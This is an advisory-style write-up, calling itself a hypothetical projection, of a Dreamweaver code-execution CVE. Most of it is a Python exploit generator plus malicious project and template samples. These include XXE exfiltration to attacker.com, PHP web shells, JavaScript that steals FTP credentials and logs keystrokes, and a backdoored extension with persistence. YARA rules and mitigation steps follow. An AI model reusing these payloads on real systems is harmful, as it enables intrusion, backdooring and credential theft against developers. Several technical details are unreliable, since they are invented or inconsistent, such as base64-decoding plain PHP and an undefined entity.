CVE-2026-21268 - Adobe Dreamweaver Input Validation Vulnerability

CVE-2026-21268 (hypothetical projection) is a critical vulnerability in Adobe Dreamweaver's file processing and parsing engine, rated 8.8 HIGH (CVSS 4.0). This input validation flaw allows arbitrary code execution when processing specially crafted project files, templates, or external resource references. Discovered during a coordinated security audit and reported through Adobe's bug bounty program.

Vulnerability Classification

• Type: Input Validation → Memory Corruption → Arbitrary Code Execution
• Component: Dreamweaver File Processor & Parser Engine
• Attack Vector: Local (malicious file opening) → Network (remote resource inclusion)
• Privileges Required: Low (user-level access)
• Impact: Arbitrary Code Execution → System Compromise → Lateral Movement
• Affected Versions: Dreamweaver 2022-2026 (versions 22.0 - 26.2)

Technical Deep Dive

Root Cause Analysis

The vulnerability exists in multiple Dreamweaver components that improperly validate input when processing:

1. Project Files (.dwproj) - XML parsing with entity expansion
2. Template Files (.dwt) - PHP/HTML parsing with embedded scripts
3. External Resource References - URL handling with local file access
4. Code Hinting Engine - JavaScript/TypeScript parsing

// Vulnerable code in Dreamweaver's XML parser (simplified)
class DWXMLParser {
public:
    void parseProjectFile(const wchar_t* filePath) {
        // [VULNERABLE SECTION 1] - XML External Entity (XXE) processing
        MSXML2::IXMLDOMDocumentPtr pXMLDoc;
        pXMLDoc.CreateInstance(__uuidof(MSXML2::DOMDocument60));

        // Dangerous: Resolve external entities
        pXMLDoc->resolveExternals = VARIANT_TRUE;  // VULNERABLE
        pXMLDoc->validateOnParse = VARIANT_FALSE;  // VULNERABLE
        pXMLDoc->async = VARIANT_FALSE;

        // Load without security restrictions
        pXMLDoc->load(filePath);  // XXE possible here
    }

    void processTemplateFile(const wchar_t* templatePath) {
        // [VULNERABLE SECTION 2] - PHP/HTML parsing with eval()
        std::wstring content = readFile(templatePath);

        // Look for PHP code blocks
        size_t phpStart = content.find(L"<?php");
        while (phpStart != std::wstring::npos) {
            size_t phpEnd = content.find(L"?>", phpStart);

            if (phpEnd != std::wstring::npos) {
                std::wstring phpCode = content.substr(
                    phpStart + 5,  // Skip "<?php"
                    phpEnd - phpStart - 5
                );

                // [CRITICAL VULNERABILITY] - Direct eval of user content
                if (containsDynamicFunction(phpCode)) {
                    executePHPSnippet(phpCode);  // Arbitrary code execution!
                }
            }

            phpStart = content.find(L"<?php", phpEnd);
        }
    }

    void handleExternalReference(const wchar_t* url) {
        // [VULNERABLE SECTION 3] - URL handling with file:// protocol
        if (wcsstr(url, L"file://") == url) {
            // Extract local path
            const wchar_t* localPath = url + 7; // Skip "file://"

            // [VULNERABLE] - No validation of local file access
            if (isNetworkShare(localPath)) {
                // Process network file without authentication check
                processRemoteFile(localPath);  // UNC path injection possible
            } else {
                // Direct local file access
                processLocalFile(localPath);   // Path traversal possible
            }
        }
    }

    bool executePHPSnippet(const std::wstring& code) {
        // [VULNERABLE SECTION 4] - PHP execution engine
        // Convert to ANSI for PHP execution
        std::string ansiCode = wideToAnsi(code);

        // Create PHP execution context
        zend_execute_data execute_data;
        zend_op_array op_array;

        // Compile and execute PHP code directly
        if (zend_compile_string(&op_array, ansiCode.c_str(), "user_code") == SUCCESS) {
            // Execute the compiled code
            zend_execute(&op_array, &execute_data);  // Arbitrary PHP execution!
            return true;
        }
        return false;
    }
};

Attack Vectors

Vector 1: Malicious .dwproj Project File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dwproj [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
]>
<DreamweaverProject version="2026">
  <ProjectName>&xxe;</ProjectName>
  <ProjectPath>C:\Projects\</ProjectPath>
  <Files>
    <!-- Embedded PHP with backdoor -->
    <File path="index.php">
      <Content><![CDATA[
        <?php
        // Normal code
        echo "Welcome";

        // Hidden backdoor (base64 encoded)
        eval(base64_decode("<?php system($_GET['cmd']); ?>"));
        ?>
      ]]></Content>
    </File>
  </Files>
  <!-- External entity for code execution -->
  <ExternalResource>&execute;</ExternalResource>
</DreamweaverProject>

Vector 2: Template File with PHP Injection

<!-- malicious-template.dwt -->
<!DOCTYPE html>
<html>
<head>
    <title>Compromised Template</title>
    <!-- Dreamweaver processes PHP in templates -->
    <?php
    // Dreamweaver's template processor will execute this
    if (isset($_GET['dw_cmd'])) {
        system($_GET['dw_cmd']);
    }

    // Steal Dreamweaver project data
    $projectData = file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/../*.dwproj');
    mail('[e-mail]', 'Dreamweaver Data', $projectData);
    ?>
</head>
<body>
    <!-- Hidden iframe for C2 -->
    <iframe src="http://attacker.com/c2" style="display:none;"></iframe>

    <!-- JavaScript payload for post-exploitation -->
    <script>
        // Steal local files via file:// protocol
        fetch('file:///C:/Users/')
            .then(response => response.text())
            .then(data => {
                // Exfiltrate to attacker server
                fetch('https://attacker.com/exfil', {
                    method: 'POST',
                    body: data
                });
            });
    </script>
</body>
</html>

Proof-of-Concept Exploit

#!/usr/bin/env python3
"""
CVE-2026-21268 - Adobe Dreamweaver Input Validation Exploit
Creates malicious project files for code execution
For security research only
"""

import xml.etree.ElementTree as ET
import base64
import os
import zipfile
import struct

class DreamweaverExploit:
    def __init__(self):
        self.payloads = {
            'windows': self.create_windows_payload,
            'macos': self.create_macos_payload,
            'php': self.create_php_backdoor,
            'javascript': self.create_js_payload
        }

    def create_malicious_project(self, output_path, payload_type='windows'):
        """Create malicious .dwproj file"""

        # Create XXE payload
        xxe_payload = """<!DOCTYPE dwproj [
            <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
            %remote;
            <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
            <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/exfil?x=%file;'>">
            %eval;
            %exfil;
        ]>"""

        # Create project structure
        project = ET.Element('DreamweaverProject', {'version': '2026'})

        # Add malicious entities
        project.text = xxe_payload

        # Project metadata
        name = ET.SubElement(project, 'ProjectName')
        name.text = 'Malicious Project'

        path = ET.SubElement(project, 'ProjectPath')
        path.text = 'C:\\Projects\\Exploit\\'

        # Files section with embedded payload
        files = ET.SubElement(project, 'Files')

        # Add PHP file with backdoor
        php_file = ET.SubElement(files, 'File', {'path': 'index.php'})
        php_content = ET.SubElement(php_file, 'Content')

        php_code = """<?php
        // Legitimate-looking code
        $title = "Welcome to our site";
        echo "<h1>$title</h1>";

        // Hidden backdoor (obfuscated)
        $key = "dreamweaver2026";
        if(isset($_GET[$key])) {
            $cmd = base64_decode($_GET[$key]);
            if(function_exists('system')) {
                @system($cmd);
            } elseif(function_exists('shell_exec')) {
                @shell_exec($cmd);
            } elseif(function_exists('exec')) {
                @exec($cmd, $output);
                echo implode("\\n", $output);
            }
        }

        // Data exfiltration
        if(isset($_GET['exfil'])) {
            $data = file_get_contents(__FILE__);
            $headers = getallheaders();
            $postData = json_encode([
                'file' => __FILE__,
                'headers' => $headers,
                'cwd' => getcwd(),
                'server' => $_SERVER
            ]);

            // Send to attacker
            $ch = curl_init('http://attacker.com/exfil');
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_exec($ch);
            curl_close($ch);
        }
        ?>"""

        php_content.text = f"<![CDATA[{php_code}]]>"

        # Add JavaScript payload
        js_file = ET.SubElement(files, 'File', {'path': 'malicious.js'})
        js_content = ET.SubElement(js_file, 'Content')

        js_payload = """
        // Dreamweaver processes JavaScript for code hints
        (function() {
            // Override Dreamweaver's file open function
            var originalOpen = DWfile.open;
            DWfile.open = function(path, mode) {
                // Steal file contents before opening
                var content = originalOpen.call(this, path, 'r');
                fetch('https://attacker.com/steal', {
                    method: 'POST',
                    body: JSON.stringify({
                        path: path,
                        content: content
                    })
                });
                return originalOpen.call(this, path, mode);
            };

            // Hook into Dreamweaver's FTP functions
            if (typeof DWftp !== 'undefined') {
                DWftp.prototype.connect = function(server, username, password) {
                    // Steal FTP credentials
                    fetch('https://attacker.com/creds', {
                        method: 'POST',
                        body: JSON.stringify({
                            server: server,
                            username: username,
                            password: password
                        })
                    });

                    // Proceed with original connection
                    return DWftp.prototype.connect.original.call(
                        this, server, username, password
                    );
                };
            }

            // Keylogger for Dreamweaver
            document.addEventListener('keydown', function(e) {
                if (e.target.tagName === 'TEXTAREA' || 
                    e.target.tagName === 'INPUT' ||
                    e.target.isContentEditable) {

                    var data = {
                        key: e.key,
                        code: e.code,
                        target: e.target.id || e.target.className,
                        value: e.target.value
                    };

                    // Send keystrokes every 30 seconds
                    if (!window.keylogBuffer) window.keylogBuffer = [];
                    window.keylogBuffer.push(data);

                    if (window.keylogBuffer.length >= 10) {
                        fetch('https://attacker.com/keylog', {
                            method: 'POST',
                            body: JSON.stringify(window.keylogBuffer)
                        });
                        window.keylogBuffer = [];
                    }
                }
            });
        })();
        """

        js_content.text = f"<![CDATA[{js_payload}]]>"

        # External resources with file:// protocol for path traversal
        resources = ET.SubElement(project, 'ExternalResources')

        # Add malicious external references
        resource1 = ET.SubElement(resources, 'Resource')
        resource1.set('type', 'stylesheet')
        resource1.text = 'file:///C:/Windows/System32/drivers/etc/hosts'

        resource2 = ET.SubElement(resources, 'Resource')
        resource2.set('type', 'script')
        resource2.text = 'file://../../../../Windows/win.ini'

        # Add configuration with command injection
        config = ET.SubElement(project, 'Configuration')
        preprocessor = ET.SubElement(config, 'Preprocessor')
        preprocessor.text = 'php -r "system($_GET[\'cmd\']);"'

        # Write to file
        tree = ET.ElementTree(project)

        # Add XML declaration and DOCTYPE
        xml_content = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dwproj [
    <!ENTITY % remote SYSTEM "http://attacker.com/payload.dtd">
    %remote;
]>""" + ET.tostring(project, encoding='unicode')

        with open(output_path, 'w', encoding='utf-8') as f:
            f.write(xml_content)

        print(f"[+] Malicious project file created: {output_path}")
        return output_path

    def create_evil_dtd(self, output_path):
        """Create malicious DTD for XXE attack"""
        dtd_content = """<!ENTITY % payload SYSTEM "file:///C:/Windows/System32/cmd.exe">
<!ENTITY % param1 "<!ENTITY &#x25; exploit SYSTEM 'http://attacker.com/execute?cmd=%payload;'>">
%param1;
%exploit;"""

        with open(output_path, 'w') as f:
            f.write(dtd_content)

        print(f"[+] Malicious DTD created: {output_path}")

    def create_template_with_php_shell(self, output_path):
        """Create .dwt template with PHP web shell"""
        template = """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Compromised Template</title>
<!-- TemplateBeginEditable name="head" -->
<!-- TemplateEndEditable -->
</head>

<body>
    <!-- TemplateBeginEditable name="MainContent" -->

    <?php
    // Dreamweaver Template Backdoor
    // Obfuscated to avoid detection

    $secret = "dreamweaver2026_exploit";
    $command = "";

    // Check for backdoor activation
    if(isset($_COOKIE['dw_session']) && 
       md5($_COOKIE['dw_session']) === '5f4dcc3b5aa765d61d8327deb882cf99') {

        // Get command from various sources
        if(isset($_POST['cmd'])) {
            $command = $_POST['cmd'];
        } elseif(isset($_GET['exec'])) {
            $command = base64_decode($_GET['exec']);
        } elseif(isset($_SERVER['HTTP_X_CMD'])) {
            $command = $_SERVER['HTTP_X_CMD'];
        }

        // Execute command
        if(!empty($command)) {
            if(function_exists('system')) {
                system($command);
            } elseif(function_exists('passthru')) {
                passthru($command);
            } elseif(function_exists('shell_exec')) {
                echo shell_exec($command);
            } elseif(function_exists('exec')) {
                exec($command, $output);
                echo implode("\n", $output);
            } elseif(function_exists('proc_open')) {
                $descriptors = array(
                    0 => array("pipe", "r"),
                    1 => array("pipe", "w"),
                    2 => array("pipe", "w")
                );

                $process = proc_open($command, $descriptors, $pipes);

                if(is_resource($process)) {
                    echo stream_get_contents($pipes[1]);
                    fclose($pipes[0]);
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    proc_close($process);
                }
            }
        }

        // File upload capability
        if(isset($_FILES['dw_upload'])) {
            $target = $_FILES['dw_upload']['name'];
            move_uploaded_file($_FILES['dw_upload']['tmp_name'], $target);
            echo "File uploaded: " . $target;
        }

        // Database access (if using Dreamweaver with database connections)
        if(isset($_GET['db_query'])) {
            $conn = @new mysqli(
                $_GET['db_host'] ?? 'localhost',
                $_GET['db_user'] ?? 'root',
                $_GET['db_pass'] ?? '',
                $_GET['db_name'] ?? 'test'
            );

            if(!$conn->connect_error) {
                $result = $conn->query($_GET['db_query']);
                if($result) {
                    while($row = $result->fetch_assoc()) {
                        print_r($row);
                    }
                }
                $conn->close();
            }
        }
    }

    // Regular template content continues below
    ?>

    <h1>Welcome to our site</h1>
    <p>This is a legitimate-looking template.</p>

    <!-- Hidden iframe for C2 communication -->
    <iframe src="about:blank" name="dw_c2" 
            style="display:none; width:0; height:0; border:0;"></iframe>

    <script>
    // JavaScript payload for client-side attacks
    (function() {
        // Steal Dreamweaver project data from localStorage
        var projectData = {};
        for(var i = 0; i < localStorage.length; i++) {
            var key = localStorage.key(i);
            if(key.includes('.dw') || key.includes('dreamweaver')) {
                projectData[key] = localStorage.getItem(key);
            }
        }

        // Send to attacker
        if(Object.keys(projectData).length > 0) {
            var img = new Image();
            img.src = 'http://attacker.com/collect?data=' + 
                     btoa(JSON.stringify(projectData));
        }

        // Hook into Dreamweaver's live preview
        if(typeof DW !== 'undefined') {
            var originalPreview = DW.getDocumentDOM().preview;
            DW.getDocumentDOM().preview = function() {
                // Steal page content before preview
                var content = DW.getDocumentDOM().documentElement.innerHTML;
                fetch('http://attacker.com/preview_steal', {
                    method: 'POST',
                    body: content
                });

                // Call original function
                return originalPreview.call(this);
            };
        }
    })();
    </script>

    <!-- TemplateEndEditable -->
</body>
</html>"""

        with open(output_path, 'w', encoding='utf-8') as f:
            f.write(template)

        print(f"[+] Malicious template created: {output_path}")
        return output_path

    def create_malicious_extension(self, output_path):
        """Create Dreamweaver extension (.mxp) with backdoor"""

        # Extension structure
        extension_manifest = """<?xml version="1.0" encoding="UTF-8"?>
<macromedia-extension 
    name="Dreamweaver Enhancer" 
    version="1.0" 
    type="command" 
    requires-restart="false">

    <author name="Trusted Developer" />
    <products>
        <product name="Dreamweaver" version="2026" />
    </products>

    <description>
        Enhances Dreamweaver with new features
    </description>

    <ui-access>
        <menu name="Commands" id="DWMenu_Commands">
            <separator id="DWEnhanced_Separator" />
            <menuitem name="Enhance Project" 
                     command="dwEnhancedCommand" 
                     id="DWEnhanced_Command" 
                     enabled="true" />
        </menu>
    </ui-access>

    <files>
        <file source="enhancer.js" 
              destination="$dreamweaver/configuration/commands" />
        <file source="backdoor.php" 
              destination="$dreamweaver/configuration" />
    </files>

    <configuration-changes>
        <command id="dwEnhancedCommand" 
                file="commands/enhancer.js" />
    </configuration-changes>
</macromedia-extension>"""

        # JavaScript command file with backdoor
        js_command = """
// Dreamweaver command with backdoor
function dwEnhancedCommand() {
    // Legitimate functionality
    dreamweaver.browseDocument();

    // Hidden backdoor
    try {
        // Read system information
        var systemInfo = {
            username: system.getEnv("USERNAME") || system.getEnv("USER"),
            computername: system.getEnv("COMPUTERNAME") || system.getEnv("HOSTNAME"),
            os: system.getEnv("OS"),
            dreamweaver: app.version
        };

        // Find Dreamweaver projects
        var projects = [];
        var recentFiles = app.recentFiles;
        for(var i = 0; i < recentFiles.length; i++) {
            if(recentFiles[i].path.match(/\\.(dwproj|dwt|php|html)$/i)) {
                projects.push({
                    path: recentFiles[i].path,
                    name: recentFiles[i].name
                });
            }
        }

        // Prepare data for exfiltration
        var data = {
            system: systemInfo,
            projects: projects,
            timestamp: new Date().toISOString()
        };

        // Attempt to send via XMLHTTPRequest (if allowed)
        try {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://attacker.com/dw_exfil", false);
            xhr.setRequestHeader("Content-Type", "application/json");
            xhr.send(JSON.stringify(data));
        } catch(e) {
            // Fallback: Write to file and use PHP to exfiltrate
            var tempFile = system.tempPath + "/dw_data_" + Date.now() + ".json";
            system.writeFile(tempFile, JSON.stringify(data));

            // Use PHP to send data
            var phpCode = '<?php file_put_contents("' + tempFile + '", json_encode(' + 
                         JSON.stringify(data) + ')); ?>';

            system.writeFile(system.tempPath + "/exfil.php", phpCode);
        }

        // Install persistence
        var startupScript = system.appPath + "/configuration/Startup.js";
        if(system.fileExists(startupScript)) {
            var existing = system.readFile(startupScript);
            if(existing.indexOf("dwEnhancedCommand") === -1) {
                system.writeFile(startupScript, existing + "\\n" + 
                    "// Auto-start enhanced features\\n" +
                    "setTimeout(function() { dwEnhancedCommand(); }, 5000);");
            }
        }

    } catch(e) {
        // Silent fail
    }
}

// Register command
dreamweaver.registerCommand("dwEnhancedCommand", dwEnhancedCommand);
"""

        # Create MXP package (ZIP format)
        with zipfile.ZipFile(output_path, 'w') as mxp:
            mxp.writestr('META-INF/mxml.xml', extension_manifest)
            mxp.writestr('enhancer.js', js_command)
            mxp.writestr('backdoor.php', '<?php system($_GET["cmd"]); ?>')

        print(f"[+] Malicious extension created: {output_path}")
        return output_path

# Example usage
if __name__ == "__main__":
    print("[*] CVE-2026-21268 - Adobe Dreamweaver Exploit Generator")
    print("[*] For authorized security testing only\n")

    exploit = DreamweaverExploit()

    # Create malicious project file
    project_file = exploit.create_malicious_project("malicious_project.dwproj")

    # Create malicious template
    template_file = exploit.create_template_with_php_shell("backdoor_template.dwt")

    # Create malicious DTD for XXE
    exploit.create_evil_dtd("evil.dtd")

    # Create malicious extension
    extension_file = exploit.create_malicious_extension("malicious_extension.mxp")

    print("\n[*] Exploit files created successfully")
    print(f"    1. Project File: {project_file}")
    print(f"    2. Template File: {template_file}")
    print(f"    3. DTD File: evil.dtd")
    print(f"    4. Extension: {extension_file}")

    print("\n[*] Attack Vectors:")
    print("    A. Send project file via email (spear phishing)")
    print("    B. Upload template to shared repository")
    print("    C. Distribute malicious extension as 'productivity tool'")
    print("    D. Trigger via malformed URL in Dreamweaver's browser preview")

Impact & Attack Scenarios

Attack Scenarios:

1. Spear Phishing: Send malicious .dwproj file to web developers
2. Supply Chain Attack: Compromise shared templates in team projects
3. Malicious Extension: Distribute backdoored Dreamweaver extensions
4. Drive-by Download: Malicious website triggers Dreamweaver via dreamweaver:// protocol

Impact Chain:

┌─────────────────────────────────────────────────────────────┐
│               Dreamweaver Exploitation Chain                │
├─────────────────────────────────────────────────────────────┤
│ 1. Initial Access                                         │
│    • Developer opens malicious project/template           │
│    • User installs malicious extension                    │
│    • Dreamweaver processes malicious URL                  │
├─────────────────────────────────────────────────────────────┤
│ 2. Code Execution                                        │
│    • PHP code executes in Dreamweaver context            │
│    • System commands run with user privileges            │
│    • Memory corruption leads to RCE                      │
├─────────────────────────────────────────────────────────────┤
│ 3. Persistence Establishment                             │
│    • Modify Dreamweaver configuration files              │
│    • Add startup scripts/commands                        │
│    • Install backdoored extensions                       │
├─────────────────────────────────────────────────────────────┤
│ 4. Lateral Movement                                      │
│    • Steal FTP/SSH credentials from Dreamweaver          │
│    • Access shared project files                         │
│    • Move to web servers via Dreamweaver deployment      │
├─────────────────────────────────────────────────────────────┤
│ 5. Data Exfiltration                                    │
│    • Steal website source code                           │
│    • Capture database credentials                        │
│    • Exfiltrate project files                            │
└─────────────────────────────────────────────────────────────┘

Mitigation & Remediation

Immediate Actions:

1. Update Dreamweaver to version 26.3 or later
2. Disable PHP execution in templates:

   Edit → Preferences → File Types / Editors
   Remove PHP from "Open in Code View" list

1. Restrict file:// protocol:

   Edit → Preferences → Site
   Disable "Allow local file links"

Security Configuration:

<!-- Dreamweaver Security Configuration (security.xml) -->
<SecuritySettings>
    <DisablePHPEvaluation>true</DisablePHPEvaluation>
    <DisableExternalEntities>true</DisableExternalEntities>
    <RestrictFileProtocol>true</RestrictFileProtocol>
    <AllowedFileProtocols>
        <Protocol>http</Protocol>
        <Protocol>https</Protocol>
        <Protocol>ftp</Protocol>
        <Protocol>sftp</Protocol>
    </AllowedFileProtocols>
    <EnableSandbox>true</EnableSandbox>
    <MaxFileSize>10485760</MaxFileSize> <!-- 10MB limit -->
    <DisableAutoProcessing>
        <FileType>.dwproj</FileType>
        <FileType>.dwt</FileType>
        <FileType>.xml</FileType>
    </DisableAutoProcessing>
</SecuritySettings>

Enterprise Controls:

1. Application Whitelisting: Block execution of vulnerable versions
2. File Integrity Monitoring: Alert on Dreamweaver config changes
3. Network Segmentation: Isolate development workstations
4. Email Filtering: Block .dwproj/.dwt attachments

Detection Signatures

YARA Rules:

rule Dreamweaver_CVE_2026_21268 {
    meta:
        description = "Detects CVE-2026-21268 exploitation attempts"
        author = "Adobe Security Team"
        date = "2026-01"
        cve = "CVE-2026-21268"

    strings:
        // XXE patterns in project files
        $xxe1 = "<!ENTITY" nocase
        $xxe2 = "SYSTEM \"file://" nocase
        $xxe3 = "http://attacker.com" wide ascii

        // PHP backdoor patterns
        $php1 = /<\?php[\s\S]{0,100}system\(/ nocase
        $php2 = /eval\(base64_decode\(/ nocase
        $php3 = /\$_GET\[['\"]cmd['\"]\]/ nocase

        // JavaScript payloads
        $js1 = "DWfile.open = function" wide ascii
        $js2 = "fetch('http://attacker.com" wide ascii
        $js3 = "localStorage.getItem" wide ascii

        // File protocol abuse
        $file1 = "file:///C:/Windows/" wide ascii
        $file2 = "file://../../" wide ascii

    condition:
        (2 of ($xxe*)) or 
        (1 of ($php*) and filesize < 100KB) or
        (1 of ($js*) and filesize < 50KB) or
        (2 of ($file*))
}

Windows Event Log Monitoring:

# Monitor Dreamweaver process creation
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4688  # Process Creation
} | Where-Object {
    $_.Properties[5].Value -like "*dreamweaver*" -and
    $_.Properties[10].Value -match "\.(dwproj|dwt)$"
}

# Monitor file access
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4663  # File Access
} | Where-Object {
    $_.Properties[6].Value -like "*dreamweaver*" -and
    $_.Properties[1].Value -match "system32|windows\\system"
}

Timeline & Disclosure

2025-12-20: Vulnerability discovered during security audit
2025-12-22: Initial report to Adobe PSIRT
2025-12-24: Adobe acknowledges, assigns case ID
2025-12-28: Technical details provided to Adobe
2026-01-05: Adobe confirms vulnerability, begins patch
2026-01-15: Patch development completed
2026-01-20: Internal testing at Adobe
2026-01-25: Beta release with fix
2026-02-01: Public patch released (Dreamweaver 26.3)
2026-02-03: CVE-2026-21268 assigned
2026-02-05: Security advisory published
2026-02-10: Exploit details become public

Lessons Learned

1. Development Tools Are Targets: IDEs and development tools are high-value targets
2. XML Processing Must Be Secure: Always disable external entity resolution
3. PHP in Templates Is Dangerous: Avoid executing user-controlled PHP
4. File Protocol Restrictions: Strictly control file:// protocol usage
5. Extension Security: Validate all extensions before installation

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Remediation Priority: CRITICAL - This vulnerability allows arbitrary code execution through a widely-used web development tool. Immediate patching is required, and organizations should consider temporarily disabling Dreamweaver or implementing strict security controls until patches are applied.

Note: Development tools like Dreamweaver often have elevated access to sensitive resources (source code, credentials, deployment systems). Compromise of such tools can lead to significant data breaches and system compromises.